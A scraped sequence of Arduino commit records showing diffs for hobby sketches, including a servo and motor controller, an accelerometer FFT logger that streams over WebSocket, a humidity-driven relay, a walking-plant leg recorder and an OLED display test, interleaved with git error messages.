+    for (int i = currentPAngle; i > pitchAngle; i--)
+    {
+      pitch.write(i);
+      delay(speed);
+    }
+  }
+
+  if(rollAngle > currentRAngle)
+  {
+    for (int i = currentRAngle; i < rollAngle; i++)
+    {
+      roll.write(i);
+      delay(speed);
+    }
+  }
+  else
+  {
+    for (int i = currentRAngle; i > rollAngle; i--)
+    {
+      roll.write(i);
+      delay(speed);
+    }
+  }
+}
+


left, right, tilt, down

left, right, tilt, down

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/ocean-x/erikson-1.git/'


Moved

Moved

error: pathspec 'Nauteelvs.ino' did not match any file(s) known to git

--- Nauteelvs.ino
+++ Nauteelvs.ino
@@ -0,0 +1,533 @@
+#include <RTClib.h>
+#include "arduinoFFT.h"
+#include <Wire.h>
+#include <Timer32.h>
+#include <string.h>
+#include <SD.h>
+#include <SPI.h>
+#include "Fishino.h"
+#include <WebSocket.h>
+#include <Arduino.h>
+
+
+//variabili websocket
+#ifndef MYNET_H
+// SSID della rete WiFi
+#define MY_SSID  "Fishino32"
+
+// PASSWORD of network.
+#define MY_PASS ""
+
+// 'IP desiderato per il fishino
+#define IPADDR  192, 168, 1, 251
+#endif
+
+#ifndef _FISHINO32_
+const int SD_CS = 4;
+#else
+const int SD_CS = SDCS;
+#endif
+
+#ifdef IPADDR
+IPAddress ip(IPADDR);
+#endif
+
+// Enabe debug tracing to Serial port.
+#define DEBUG
+
+
+arduinoFFT FFT = arduinoFFT();
+const int samples = 64; //campioni
+const double sampling = 200;  //frequenza di campionamento
+uint8_t exponent;
+double vRealx[samples];
+double vImagx[samples];
+double vRealy[samples];
+double vImagy[samples];
+double vRealz[samples];
+double vImagz[samples];
+double vReala[samples];
+double vImaga[samples];
+int i = 0;
+int j = 0;
+double jr[samples];
+double ji[samples];
+double freq[200/2];
+
+long int ti;
+volatile bool intFlag=false;
+
+
+#define SIZE 8 //numero di FFT calcolate prima di scrivere su SD
+const int chipSelect_SD_default = SDCS;
+const int chipSelect_SD = chipSelect_SD_default;
+String data= "";
+#if defined(ARDUINO_ARCH_SAMD)
+   #define Serial SerialUSB
+#endif
+RTC_Millis rtc;
+char nome_file[17];
+char **data_base;
+
+
+WebSocketServer wsServer;
+uint8_t mac[WL_MAC_ADDR_LENGTH]={0x11,0x22,0x33,0x44,0x55,0x66};
+
+
+#define SCL_INDEX 0x00
+#define SCL_TIME 0x01
+#define SCL_FREQUENCY 0x02
+
+
+#define    MPU9250_ADDRESS            0x68
+
+#define    ACC_FULL_SCALE_2_G        0x00
+#define    ACC_FULL_SCALE_4_G        0x08
+#define    ACC_FULL_SCALE_8_G        0x10
+#define    ACC_FULL_SCALE_16_G       0x18
+
+#define   a   0
+#define   x   1
+#define   y   2
+#define   z   3
+
+
+// This function read Nbytes bytes from I2C device at address Address.
+// Put read bytes starting at register Register in the Data array.
+void I2Cread(uint8_t Address, uint8_t Register, uint8_t Nbytes, uint8_t* Data)
+{
+  // Set register address
+  Wire.beginTransmission(Address);
+  Wire.write(Register);
+  Wire.endTransmission();
+
+  // Read Nbytes
+  Wire.requestFrom(Address, Nbytes);
+  uint8_t index=0;
+  while (Wire.available())
+    Data[index++]=Wire.read();
+}
+
+// Write a byte (Data) in device (Address) at register (Register)
+void I2CwriteByte(uint8_t Address, uint8_t Register, uint8_t Data)
+{
+  // Set register address
+  Wire.beginTransmission(Address);
+  Wire.write(Register);
+  Wire.write(Data);
+  Wire.endTransmission();
+}
+
+void callback()
+{
+  intFlag=true;
+}
+
+
+void onConnect(WebSocket &socket)
+{
+  Serial.println("onConnect called");
+}
+
+// It will be called by the server when a data frame is received.
+void onData(WebSocket &socket, char* dataString, byte frameLength)
+{
+  #ifdef DEBUG
+   Serial.print("Got data: ");
+   Serial.write((unsigned char*)dataString, frameLength);
+   Serial.println();
+  #endif
+
+  // Just echo back data for fun.
+  socket.send(dataString, strlen(dataString));
+}
+
+void onDisconnect(WebSocket &socket) {
+  Serial.println("onDisconnect called");
+}
+
+
+void getFileName(char *name)
+{
+  DateTime now = rtc.now();
+  sprintf(name, "%d", now.year());
+  int temp= now.month();
+  if(temp > 9)
+  {
+    sprintf(name+4, "%d", temp);
+  }
+  else
+  {
+    name[4]= '0';
+    sprintf(name+5, "%d", temp);
+  }
+  temp= now.day();
+  if(temp > 9)
+  {
+    sprintf(name+6, "%d", temp);
+  }
+  else
+  {
+    name[6]= '0';
+    sprintf(name+7, "%d", temp);
+  }
+  temp= now.hour();
+  if(temp > 9)
+  {
+    sprintf(name+8, "%d", temp);
+  }
+  else
+  {
+    name[8]= '0';
+    sprintf(name+9, "%d", temp);
+  }
+  temp= now.minute();
+  if(temp > 9)
+  {
+    sprintf(name+10, "%d", temp);
+  }
+  else
+  {
+    name[10]= '0';
+    sprintf(name+11, "%d", temp);
+  }
+  temp= now.second();
+  if(temp > 9)
+  {
+    sprintf(name+12, "%d", temp);
+  }
+  else
+  {
+    name[12]= '0';
+    sprintf(name+13, "%d", temp);
+  }
+  name[14]= '.';
+  name[15]= 't';
+  name[16]= 'x';
+  name[17]= 't';
+  Serial.println(name);
+}
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+
+void setup()
+{
+  Wire.begin();
+  #ifdef DEBUG
+    Serial.begin(115200);
+  #endif
+  //while(!Serial);
+
+  rtc.begin(DateTime(F(__DATE__), F(__TIME__)));
+
+  Fishino.setApMAC(mac);
+
+  // initialize SPI:
+  SPI.begin();
+  SPI.setClockDivider(SPI_CLOCK_DIV2);
+
+  // reset and test wifi module
+  Serial << F("Resetting Fishino...");
+  while(!Fishino.reset())
+  {
+    Serial << ".";
+    delay(500);
+  }
+  Serial << F("OK\r\n");
+
+  // set PHY mode 11G
+  Fishino.setPhyMode(PHY_MODE_11G);
+
+  // setup SOFT AP mode
+  // imposta la modalitè SOFTAP
+  Serial << F("Setting mode SOFTAP_MODE\r\n");
+  Fishino.setMode(SOFTAP_MODE);
+
+  // stop AP DHCP server
+  Serial << F("Stopping DHCP server\r\n");
+  Fishino.softApStopDHCPServer();
+
+  // setup access point parameters
+  Serial << F("Setting AP IP info\r\n");
+  Fishino.setApIPInfo(ip, ip, IPAddress(255, 255, 255, 0));
+
+  Serial << F("Setting AP WiFi parameters\r\n");
+  Fishino.softApConfig(F(MY_SSID), F(MY_PASS), 1, false);
+
+  // restart DHCP server
+  Serial << F("Starting DHCP server\r\n");
+  Fishino.softApStartDHCPServer();
+
+  // print current IP address
+  Serial << F("IP Address :") << ip << "\r\n";
+
+  wsServer.registerConnectCallback(&onConnect);
+  wsServer.registerDataCallback(&onData);
+  wsServer.registerDisconnectCallback(&onDisconnect);
+  wsServer.begin();
+
+  // see if the card is present and can be initialized:
+  if (!SD.begin(chipSelect_SD)) {
+    Serial.println("Card failed, or not present");
+    return;
+  }
+  Serial.println("card initialized.");
+
+  exponent = FFT.Exponent(samples);
+
+  // Set accelerometers low pass filter at 60Hz
+  I2CwriteByte(MPU9250_ADDRESS,29,0x32);
+
+  // Configure accelerometers range
+  I2CwriteByte(MPU9250_ADDRESS,28,ACC_FULL_SCALE_4_G);
+
+  Timer23.setPeriodMs(5);             //Periodo di campionamento => frequenza di campionamento= 200Hz
+  Timer23.attachInterrupt(callback);  // attaches callback() as a timer overflow interrupt
+  Timer23.start();
+
+  // Store initial time
+  ti=millis();
+
+  data_base= (char**)malloc(10*sizeof(char*));
+}
+
+
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+void loop()
+{
+  //server in ascolto
+  wsServer.listen();
+
+  //attesa dati accelerometro
+  while (!intFlag);
+
+  intFlag=false;
+
+  // Read accelerometer
+  uint8_t Buf[14];
+  I2Cread(MPU9250_ADDRESS,0x3B,14,Buf);
+
+
+  // Accelerometer
+  vRealx[i] = -(Buf[0]<<8 | Buf[1]);
+  vImagx[i] = 0;
+  vRealy[i] = -(Buf[2]<<8 | Buf[3]);
+  vImagy[i] = 0;
+  vRealz[i] = Buf[4]<<8 | Buf[5];
+  vImagz[i] = 0;
+
+
+  if(i == samples-1)
+  {
+    for(int j=0; j<samples; j++)
+    {
+      vReala[j] = sqrt(sq(vRealx[j]) + sq(vRealy[j]) + sq(vRealz[j]));
+      vImaga[j] = 0;
+    }
+
+    //data x
+    PrintVectorjs(vRealx, vImagx, samples, SCL_TIME, x, ti);
+    FFT.Windowing(vRealx, samples, FFT_WIN_TYP_HAMMING, FFT_FORWARD);
+    FFT.Compute(vRealx, vImagx, samples, exponent, FFT_FORWARD);
+    FFT.ComplexToMagnitude(vRealx, vImagx, samples);
+    PrintVectorjs(vRealx, vImagx, (samples/2), SCL_FREQUENCY, x, ti);
+      //double x = FFT.MajorPeak(vRealx, samples, sampling);
+
+    //data y
+    PrintVectorjs(vRealy, vImagy, samples, SCL_TIME, y, ti);
+    FFT.Windowing(vRealy, samples, FFT_WIN_TYP_HAMMING, FFT_FORWARD);
+    FFT.Compute(vRealy, vImagy, samples, exponent, FFT_FORWARD);
+    FFT.ComplexToMagnitude(vRealy, vImagy, samples);
+    PrintVectorjs(vRealy, vImagy, (samples/2), SCL_FREQUENCY, y, ti);
+      //double y = FFT.MajorPeak(vRealy, samples, sampling);
+
+    //data z
+    PrintVectorjs(vRealz, vImagz, samples, SCL_TIME, z, ti);
+    FFT.Windowing(vRealz, samples, FFT_WIN_TYP_HAMMING, FFT_FORWARD);
+    FFT.Compute(vRealz, vImagz, samples, exponent, FFT_FORWARD);
+    FFT.ComplexToMagnitude(vRealz, vImagz, samples);
+    PrintVectorjs(vRealz, vImagz, (samples/2), SCL_FREQUENCY, z, ti);
+      //double z = FFT.MajorPeak(vRealz, samples, sampling);
+
+    //data all
+    PrintVectorjs(vReala, vImaga, samples, SCL_TIME, a, ti);
+    FFT.Windowing(vReala, samples, FFT_WIN_TYP_HAMMING, FFT_FORWARD);
+    FFT.Compute(vReala, vImaga, samples, exponent, FFT_FORWARD);
+    FFT.ComplexToMagnitude(vReala, vImaga, samples);
+    PrintVectorjs(vReala, vImaga, (samples/2), SCL_FREQUENCY, a, ti);
+      //double a = FFT.MajorPeak(vReala, samples, sampling);
+
+    Serial.println(data);
+    char data_server[data.length()+1];
+    data.toCharArray(data_server, data.length()+1);
+    data="";
+
+    //verifico se ci sono client connessi
+    if (wsServer.connectionCount() > 0)
+    {
+      wsServer.send(data_server, sizeof(data_server));
+      Serial.println("dati inviati");
+    }
+
+    data_base[j]= (char*)malloc(sizeof(data_server));
+    memmove (data_base[j], data_server, sizeof(data_server));
+
+    if( j == SIZE-1 )
+    {
+      getFileName(nome_file);
+      // open the file on SD
+      File dataFile = SD.open(nome_file+6, FILE_WRITE);
+
+      // if the file is available, write to it:
+      if (dataFile)
+      {
+        for(int i=0; i<SIZE; i++)
+        {
+          dataFile.println(data_base[i]);
+          free(data_base[i]);
+        }
+
+        dataFile.close();
+        // print to the serial port too:
+        Serial.println("scrittura ok");
+      }
+      // if the file isn't open, pop up an error:
+      else
+      {
+        Serial.println("error opening file");
+      }
+      j = 0;
+      free(data_base);
+      data_base= (char**)malloc(10 * sizeof(char*));
+    }
+    else j++;
+    i = 0;
+  }
+  else i++;
+}
+
+void PrintVectorjs(double *vDataR, double *vDataI, uint8_t bufferSize, uint8_t scaleType, int asseType, long int tempo)
+{
+    double abscissa;
+    char buffer[30];
+
+    switch (asseType)
+    {
+      case x:
+        if(scaleType == SCL_TIME){
+          data+= "{\"millis\":";
+          data+= itoa(millis()-tempo, buffer, 10);
+          memset(buffer, 0, 30);
+          data+= ",\"x\":[";
+        }
+        else  data+= ",";
+      break;
+      case y:
+        if(scaleType == SCL_TIME){
+          data+= "],\"y\":[";
+        }
+        else  data+= ",";
+      break;
+      case z:
+        if(scaleType == SCL_TIME){
+          data+= "],\"z\":[";
+        }
+        else  data+= ",";
+      break;
+      case a:
+        if(scaleType == SCL_TIME){
+          data+= "],\"all\":[";
+        }
+        else  data+= ",";
+      break;
+    }
+
+    switch (scaleType)
+    {
+      case SCL_INDEX:
+        data+= "{\"components\":[{\"real\": [";
+        for (int i = 0; i < bufferSize-1; i++)
+        {
+              sprintf(buffer, "%f", vDataR[i]);
+              data+= buffer;
+              memset(buffer, 0, 30);
+              data+= ",";
+        }
+        sprintf(buffer, "%f", vDataR[bufferSize-1]);
+        data+= buffer;
+        memset(buffer, 0, 30);
+        data+= "]},{\"imm\": [";
+        for (int i = 0; i < bufferSize-1; i++)
+        {
+              sprintf(buffer, "%f", vDataI[i]);
+              data+= buffer;
+              memset(buffer, 0, 30);
+              data+= ",";
+        }
+        sprintf(buffer, "%f", vDataI[bufferSize-1]);
+        data+= buffer;
+        memset(buffer, 0, 30);
+        data+= "]}]}";
+      break;
+      case SCL_TIME:
+        data+= "{\"signal\":[{\"time\": [";
+        for (int i = 0; i < bufferSize-1; i++)
+        {
+              abscissa = (i / sampling);
+              sprintf(buffer, "%f", abscissa);
+              data+= buffer;
+              memset(buffer, 0, 30);
+              data+= ",";
+        }
+        abscissa = (i / sampling);
+        sprintf(buffer, "%f", abscissa);
+        data+= buffer;
+        memset(buffer, 0, 30);
+        data+= "]},{\"real\": [";
+        for (int i = 0; i < bufferSize-1; i++)
+        {
+              sprintf(buffer, "%f", vDataR[i]);
+              data+= buffer;
+              memset(buffer, 0, 30);
+              data+= ",";
+        }
+        sprintf(buffer, "%f", vDataR[bufferSize-1]);
+        data+= buffer;
+        memset(buffer, 0, 30);
+        data+= "]}]}";
+      break;
+      case SCL_FREQUENCY:
+        data+= "{\"spectrum\":[{\"f\": [";
+        for (int i = 0; i < bufferSize-1; i++)
+        {
+              abscissa = ((i * sampling) / samples);
+              vDataI[i]= abscissa;
+              sprintf(buffer, "%f", abscissa);
+              data+= buffer;
+              memset(buffer, 0, 30);
+              data+= ",";
+        }
+        abscissa = ((i * sampling) / samples);               //STAMPA UN 1 IN PIU
+        vDataI[i]= abscissa;
+        sprintf(buffer, "%f", abscissa);
+        data+= buffer;
+        memset(buffer, 0, 30);
+        data+= "]},{\"e\": [";
+        for (int i = 0; i < bufferSize-1; i++)
+        {
+              sprintf(buffer, "%f", vDataR[i]);
+              data+= buffer;
+              memset(buffer, 0, 30);
+              data+= ",";
+        }
+        sprintf(buffer, "%f", vDataR[bufferSize-1]);
+        data+= buffer;
+        memset(buffer, 0, 30);
+        data+= "]}]}";
+        if(asseType == a){
+          data+= "]}";
+        }
+      break;
+    }
+}
+


Added simple sketch based on decay, changed generator to take into account settling (initial drifting) of humidity sensor

error: pathspec 'humidity_simple/humidity_simple.ino' did not match any file(s) known to git

--- humidity_simple/humidity_simple.ino
+++ humidity_simple/humidity_simple.ino
@@ -0,0 +1,73 @@
+#include <Time.h>
+
+const int relaisPin =  11;
+const int sensorPin = A0;    // select the input pin for the potentiometer
+const int MINHUMIDITY = 0;
+const int MAXHUMIDITY = 1023;
+const int milliseconds_sleep = 5000;
+const int avg_decay = 0.00001;
+const int deviation_decay = 0.01;
+int sensorValue = 0;  // variable to store the value coming from the sensor
+int thresholdLow = 0;
+int thresholdHigh = 0;
+int avg = 0;
+int deviation = 20;
+int humidity = 0;
+int startup_seconds = 900; // sensor needs to settle for 15 minutes
+
+int get_humidity() {
+  sensorValue = analogRead(sensorPin);
+
+  // sensor value is high when humidity is low, this is
+  // counterintuitive (it's a dryness sensor!), so we
+  // reverse it:
+  return MAXHUMIDITY - sensorValue;
+}
+
+void setup() {
+  // initialize the 11 pin as an output:
+  Serial.begin(9600);
+  pinMode(relaisPin, OUTPUT);
+  pinMode(sensorPin, INPUT);
+  digitalWrite(relaisPin, HIGH);
+  avg = get_humidity();
+}
+
+void loop() {
+  humidity = get_humidity();
+
+  if (startup_seconds > 0) {
+    // during startup, sensor needs to settle, so average is allowed to change fast
+    avg = (avg + humidity) / 2;
+    startup_seconds -= milliseconds_sleep / 1000;
+  } else {
+    // decay the old value, combine with the new (reverse decay)
+    avg = avg * (1.0 - avg_decay) + humidity * avg_decay;
+  }
+  int cur_deviation = max(deviation, humidity - avg);
+  deviation = deviation * (1.0 - deviation_decay) + cur_deviation * deviation_decay;
+  thresholdLow = avg + deviation / 3;
+  thresholdHigh = avg + 2 * deviation / 3;
+
+  // print out the values for debugging/plotting
+  Serial.print("humidity = ");
+  Serial.print(humidity);
+  Serial.print(", tlow = ");
+  Serial.print(thresholdLow);
+  Serial.print(", thi = ");
+  Serial.print(thresholdHigh);
+  Serial.print(", dmin = ");
+  Serial.print(avg);
+  Serial.print(", dmax = ");
+  Serial.println(avg + deviation);
+
+  // switch the relays!
+  if (sensorValue < thresholdLow) {
+    // HIGH means setting the relay to NC
+    digitalWrite(relaisPin, HIGH);
+  } else if (sensorValue > thresholdHigh) {
+    // LOW means setting the relay to NO
+    digitalWrite(relaisPin, LOW);
+  }
+  delay(milliseconds_sleep);
+}


Update Snake.ino

Update Snake.ino

Deleted some comments

error: pathspec 'Arduino' did not match any file(s) known to git
error: pathspec 'code/Snake/Snake.ino' did not match any file(s) known to git


add leg system

add leg system

error: pathspec 'legsystem/legsystem.ino' did not match any file(s) known to git

--- legsystem/legsystem.ino
+++ legsystem/legsystem.ino
@@ -0,0 +1,197 @@
+// Walking Plant
+// is a robotic prosthesis that amplify plant's survival instincts and
+// add social emotions when interacting with people.
+// firmware 0.0.1
+// ref: http://www.adafruit.com/products/1404
+// This sketch is a learning system for a single leg mechanism (M1 toe, M2 ankle, M3)
+
+#include <Servo.h>
+#include <EEPROM.h>
+
+#define CALIB_MAX_M1 512
+#define CALIB_MIN_M1 100
+
+#define CALIB_MAX_M2 512
+#define CALIB_MIN_M2 100
+
+#define CALIB_MAX_M3 512
+#define CALIB_MIN_M3 100
+
+#define SAMPLE_DELAY 25 // in ms, 50ms seems good
+
+uint8_t recordButtonPin = 12;
+uint8_t playButtonPin = 7;
+uint8_t ledPin = 13;
+
+uint8_t servoPinM1 = 9;
+uint8_t feedbackPinM1 = A0;
+
+uint8_t servoPinM2 = 10;
+uint8_t feedbackPinM2 = A1;
+
+uint8_t servoPinM3 = 11;
+uint8_t feedbackPinM3 = A2;
+
+Servo m1Servo;
+Servo m2Servo;
+Servo m3Servo;
+
+/*
+// Calibration values
+int minDegrees;
+int maxDegrees;
+int minFeedback;
+int maxFeedback;
+int tolerance = 2; // max feedback measurement error
+
+*/
+/*
+  This function establishes the feedback values for 2 positions of the servo.
+  With this information, we can interpolate feedback values for intermediate positions
+*/
+/*
+void calibrate(Servo servo, int analogPin, int minPos, int maxPos)
+{
+  // Move to the minimum position and record the feedback value
+  servo.write(minPos);
+  minDegrees = minPos;
+  delay(2000); // make sure it has time to get there and settle
+  minFeedback = analogRead(analogPin);
+
+  // Move to the maximum position and record the feedback value
+  servo.write(maxPos);
+  maxDegrees = maxPos;
+  delay(2000); // make sure it has time to get there and settle
+  maxFeedback = analogRead(analogPin);
+}
+*/
+
+
+void setup() {
+  Serial.begin(9600);
+
+  // record button
+  pinMode(recordButtonPin, INPUT);
+  digitalWrite(recordButtonPin, HIGH);
+
+  // play button
+  pinMode(playButtonPin, INPUT);
+  digitalWrite(playButtonPin, HIGH);
+
+  // LED
+  pinMode(ledPin, OUTPUT);
+
+  // feedback pins
+  pinMode(feedbackPinM1, INPUT);
+  pinMode(feedbackPinM2, INPUT);
+  pinMode(feedbackPinM3, INPUT);
+
+  Serial.println("Servo RecordPlay");
+
+  // need to do calibration
+  //m1Servo.attach(servoM1Pin);
+  //calibrate(m1Servo, feedbackM1Pin, 20, 160);  // calibrate for the 20-160 degree range
+  //m1Servo.detach();
+}
+
+// main loop
+void loop() {
+
+   // record new sequence
+   if (! digitalRead(recordButtonPin)) {
+     delay(10);
+     // wait for released
+     while (! digitalRead(recordButtonPin));
+     delay(20);
+     // OK released!
+     recordServo();
+   }
+
+   // play recorded sequence
+    if (! digitalRead(playButtonPin)) {
+     delay(10);
+     // wait for released
+     while (! digitalRead(playButtonPin));
+     delay(20);
+     // OK released!
+     playServo();
+   }
+}
+
+void playServo() {
+  uint16_t addr = 0;
+  Serial.println("Playing");
+
+  m1Servo.attach(servoPinM1);
+  while (digitalRead(playButtonPin)) {
+    uint8_t x = EEPROM.read(addr);
+    if ((addr % 3) == 0){
+      Serial.print("Read M1: "); Serial.print(x);
+      if (x == 255) break;
+      // map to 0-180 degrees
+      x = map(x, 0, 254, 0, 180);
+      Serial.print(" -> "); Serial.println(x);
+      m1Servo.write(x);
+    }
+    delay(SAMPLE_DELAY);
+
+    addr++;
+    if (addr == 512) break;
+  }
+  Serial.println("Done");
+  m1Servo.detach();
+  delay(250);
+}
+
+// record from analog inputs
+void recordServo() {
+  uint16_t addr = 0;
+
+  // turn on LED
+  Serial.println("Recording");
+  digitalWrite(ledPin, HIGH);
+
+  // check if button pressed (as stop recording)
+  while (digitalRead(recordButtonPin)) {
+     uint16_t a = analogRead(feedbackPinM1);
+     if ((addr % 3) == 0){
+       Serial.print("Read M1 analog: "); Serial.print(a);
+       if (a < CALIB_MIN_M1) a = CALIB_MIN_M1;
+       if (a > CALIB_MAX_M1) a = CALIB_MAX_M1;
+       a = map(a, CALIB_MIN_M1, CALIB_MAX_M1, 0, 254);
+       Serial.print(" -> "); Serial.println(a);
+       EEPROM.write(addr, a);
+     }
+     addr++;
+     if (addr == 512) break;
+     delay(SAMPLE_DELAY);
+  }
+  if (addr != 512) EEPROM.write(addr, 255);
+
+  digitalWrite(ledPin, LOW);
+
+  Serial.println("Done");
+  delay(250);
+
+  // note: think about a way to store the motion data externally
+  //       make a buffer where it can be loaded dynamically from host computer (Raspi)
+}
+
+/*
+void Seek(Servo servo, int analogPin, int pos)
+{
+  // Start the move...
+  servo.write(pos);
+
+  // Calculate the target feedback value for the final position
+  int target = map(pos, minDegrees, maxDegrees, minFeedback, maxFeedback);
+
+  // Wait until it reaches the target
+  while(abs(analogRead(analogPin) - target) > tolerance){} // wait...
+}
+
+int getPos(int analogPin)
+{
+  return map(analogRead(analogPin), minFeedback, maxFeedback, minDegrees, maxDegrees);
+}
+*/


Updated to fit current configuration

Updated to fit current configuration

--- Motor_Controler.ino
+++ Motor_Controler.ino
@@ -43,12 +43,12 @@
 };

 // Structure schema: (pwm, inA, inB, encoder inA, encoder inB, isRight?)
-silnik motor1{m1PWM, m1k1, m1k2, m1e1, m1e2, 0};
-silnik motor2{m2PWM, m2k1, m2k2, m2e1, m2e2, 1};
-silnik motor3{m3PWM, m3k1, m3k2, m3e1, m3e2, 0};
-silnik motor4{m4PWM, m4k1, m4k2, m4e1, m4e2, 1};
-silnik motor5{m4PWM, m4k1, m4k2, m4e1, m4e2, 1};
-silnik motor6{m4PWM, m4k1, m4k2, m4e1, m4e2, 1};
+silnik motor1{12, 22, 23, m1e1, m1e2, 1};
+silnik motor2{3, 24, 25, m1e1, m1e2, 0};
+silnik motor3{4, 26, 27, m1e1, m1e2, 1};
+silnik motor4{5, 28, 29, m1e1, m1e2, 0};
+silnik motor5{7, 6, 8, m1e1, m1e2, 1};
+silnik motor6{10, 9, 11, m1e1, m1e2, 0};

 void initMotor(struct silnik motor)
 {
@@ -65,7 +65,6 @@

 void SetSpeed(struct silnik motor, int wypelnienie)
 {
-  analogWrite(motor.pwm, wypelnienie);
   if(wypelnienie==0)
   {
     digitalWrite(motor.kierunek1, HIGH);
@@ -75,12 +74,14 @@
   {
   if(wypelnienie>0)
   {
+    analogWrite(motor.pwm, wypelnienie);
     digitalWrite(motor.kierunek1, HIGH);
     digitalWrite(motor.kierunek2, LOW);
   }

   else if(wypelnienie<0)
   {
+    analogWrite(motor.pwm, -wypelnienie);
     digitalWrite(motor.kierunek1, LOW);
     digitalWrite(motor.kierunek2, HIGH);
   }
@@ -89,12 +90,14 @@
   {
   if(wypelnienie>0)
   {
+    analogWrite(motor.pwm, wypelnienie);
     digitalWrite(motor.kierunek2, HIGH);
     digitalWrite(motor.kierunek1, LOW);
   }

   else if(wypelnienie<0)
   {
+    analogWrite(motor.pwm, -wypelnienie);
     digitalWrite(motor.kierunek2, LOW);
     digitalWrite(motor.kierunek1, HIGH);
   }
@@ -107,7 +110,7 @@
 volatile boolean newMessageReceived = false;
 //Pulses Per Revolution, Revolutions Per Revolution
 int PPR, RPR;
-int u[6] = {0, 0, 0, 0, 0, 0};
+volatile int u[6] = {0, 0, 0, 0, 0, 0};
 int v1=0, e1=0, v2=0, e2=0, v3=0, e3=0, v4=0, e4=0;
 int PowerOnMotor1 = 0, PowerOnMotor2 = 0, PowerOnMotor3 = 0, PowerOnMotor4 = 0;
 int PWMSpeed[6] = {0, 0, 0, 0, 0, 0};
@@ -117,7 +120,7 @@
 int slopeCounter1 = 0, slopeCounter2 = 0, slopeCounter3 = 0, slopeCounter4 = 0;
 byte Kp = 0;
 byte ConstantPrint = NO_PRINT;
-boolean SmartDrive = 0;
+boolean SmartDrive = 1;
 int mios = 1000; //Maksymalna Ilość Obrotów Silnika

 void setup()
@@ -313,10 +316,18 @@
       SetSpeed(motor6, u[5]);

       delay(2000);
+      for(int i=0; i<6; i++)
+      {
+      Serial.print(u[i]);
+      Serial.print("   ");
+      }
+      Serial.println("zeroing...");
       u[0]=0;
       u[1]=0;
       u[2]=0;
       u[3]=0;
+      u[4]=0;
+      u[5]=0;

   }
@@ -384,7 +395,7 @@
       for (int i=spaceBar+1; i<(buffer2.length()); i++)
         bufferMotor += buffer2.charAt(i);

-      //Serial.println("Set command detected!");
+      Serial.println("Set command detected!");
       if(bufferMotor=="motor1"){
       u[0]= buffer2.toInt();
       if (u[0]>mios)
@@ -428,7 +439,7 @@
       else if (u[3]<-mios)
           u[4]= -mios;
       }
-      else if(bufferMotor=="motor5"){
+      else if(bufferMotor=="motor6"){
        u[5]= buffer2.toInt();
       if (u[5]>mios)
           u[5]= mios;


actual latest file from 20january

actual latest file from 20january

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/upperman/Wireless-Led-Display.git/'


Initial commit

Initial commit

error: pathspec 'Li_Charger.ino' did not match any file(s) known to git

--- Li_Charger.ino
+++ Li_Charger.ino
@@ -0,0 +1,9 @@
+void setup() {
+  // put your setup code here, to run once:
+
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+
+}


AD7173.ino refactor + added setup coding output

error: pathspec 'AD7173.ino' did not match any file(s) known to git


working test code for SPI

working test code for SPI

error: pathspec 'examples/test/test.ino' did not match any file(s) known to git

--- examples/test/test.ino
+++ examples/test/test.ino
@@ -0,0 +1,307 @@
+
+// You can use any (4 or) 5 pins
+#define sclk 2
+#define mosi 3
+#define dc   4
+#define cs   5
+#define rst  6
+
+// Color definitions
+#define	BLACK           0x0000
+#define	BLUE            0x001F
+#define	RED             0xF800
+#define	GREEN           0x07E0
+#define CYAN            0x07FF
+#define MAGENTA         0xF81F
+#define YELLOW          0xFFE0
+#define WHITE           0xFFFF
+
+#include <Adafruit_GFX.h>
+#include <Adafruit_SSD1351.h>
+#include <SPI.h>
+
+// Option 1: use any pins but a little slower
+Adafruit_SSD1351 tft = Adafruit_SSD1351(cs, dc, mosi, sclk, rst);
+
+// Option 2: must use the hardware SPI pins
+// (for UNO thats sclk = 13 and sid = 11) and pin 10 must be
+// an output. This is much faster - also required if you want
+// to use the microSD card (see the image drawing example)
+//Adafruit_SSD1331 tft = Adafruit_SSD1331(cs, dc, rst);
+
+float p = 3.1415926;
+
+void fillpixelbypixel(uint16_t color) {
+  for (uint8_t x=0; x < tft.width(); x++) {
+    for (uint8_t y=0; y < tft.height(); y++) {
+      tft.drawPixel(x, y, color);
+    }
+  }
+  delay(100);
+}
+
+void setup(void) {
+  Serial.begin(9600);
+  Serial.print("hello!");
+  tft.begin();
+
+  Serial.println("init");
+
+  uint16_t time = millis();
+  tft.fillRect(0, 0, 128, 128, BLACK);
+  time = millis() - time;
+
+  Serial.println(time, DEC);
+  delay(500);
+
+  lcdTestPattern();
+  delay(500);
+
+  tft.invert(true);
+  delay(100);
+  tft.invert(false);
+  delay(00);
+
+  tft.fillScreen(BLACK);
+  testdrawtext("Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur adipiscing ante sed nibh tincidunt feugiat. Maecenas enim massa, fringilla sed malesuada et, malesuada sit amet turpis. Sed porttitor neque ut ante pretium vitae malesuada nunc bibendum. Nullam aliquet ultrices massa eu hendrerit. Ut sed nisi lorem. In vestibulum purus a tortor imperdiet posuere. ", WHITE);
+  delay(500);
+
+  // tft print function!
+  tftPrintTest();
+  delay(500);
+
+  //a single pixel
+  tft.drawPixel(tft.width()/2, tft.height()/2, GREEN);
+  delay(500);
+
+  // line draw test
+  testlines(YELLOW);
+  delay(500);
+
+  // optimized lines
+  testfastlines(RED, BLUE);
+  delay(500);
+
+
+  testdrawrects(GREEN);
+  delay(1000);
+
+  testfillrects(YELLOW, MAGENTA);
+  delay(1000);
+
+  tft.fillScreen(BLACK);
+  testfillcircles(10, BLUE);
+  testdrawcircles(10, WHITE);
+  delay(1000);
+
+  testroundrects();
+  delay(500);
+
+  testtriangles();
+  delay(500);
+
+  Serial.println("done");
+  delay(1000);
+}
+
+void loop() {
+}
+
+void testlines(uint16_t color) {
+   tft.fillScreen(BLACK);
+   for (uint16_t x=0; x < tft.width()-1; x+=6) {
+     tft.drawLine(0, 0, x, tft.height()-1, color);
+   }
+   for (uint16_t y=0; y < tft.height()-1; y+=6) {
+     tft.drawLine(0, 0, tft.width()-1, y, color);
+   }
+
